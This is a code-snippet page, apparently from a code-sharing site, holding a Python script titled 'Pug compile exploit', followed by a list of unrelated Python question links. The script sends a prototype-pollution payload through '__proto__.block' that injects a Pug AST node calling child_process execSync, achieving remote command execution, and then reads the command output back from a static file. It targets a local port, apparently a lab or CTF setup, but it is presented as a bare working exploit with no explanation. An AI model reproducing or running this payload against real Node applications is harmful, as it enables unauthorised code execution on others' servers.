Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote224 views1 answer
How to get ping from computer IN PYTHON
Python
0 vote218 views3 answers
How to make index column as a normal column
Python
4 votes226 views1 answer
How to save matplotlib figure to png
Python
0 vote232 views1 answer
DJANGO model instance get by variable
Python Django
0 vote231 views1 answer
Python loop opening file from directory
Python
6 votes237 views3 answers
Python -m pip install
Python
0 vote229 views1 answer
OneHotEncoder pyspark
Python
0 vote271 views1 answer
Numpy compute min over all axes except
Python
1 vote239 views2 answers
What is the ternary operator in python
Python
0 vote237 views1 answer
Python update header row
Python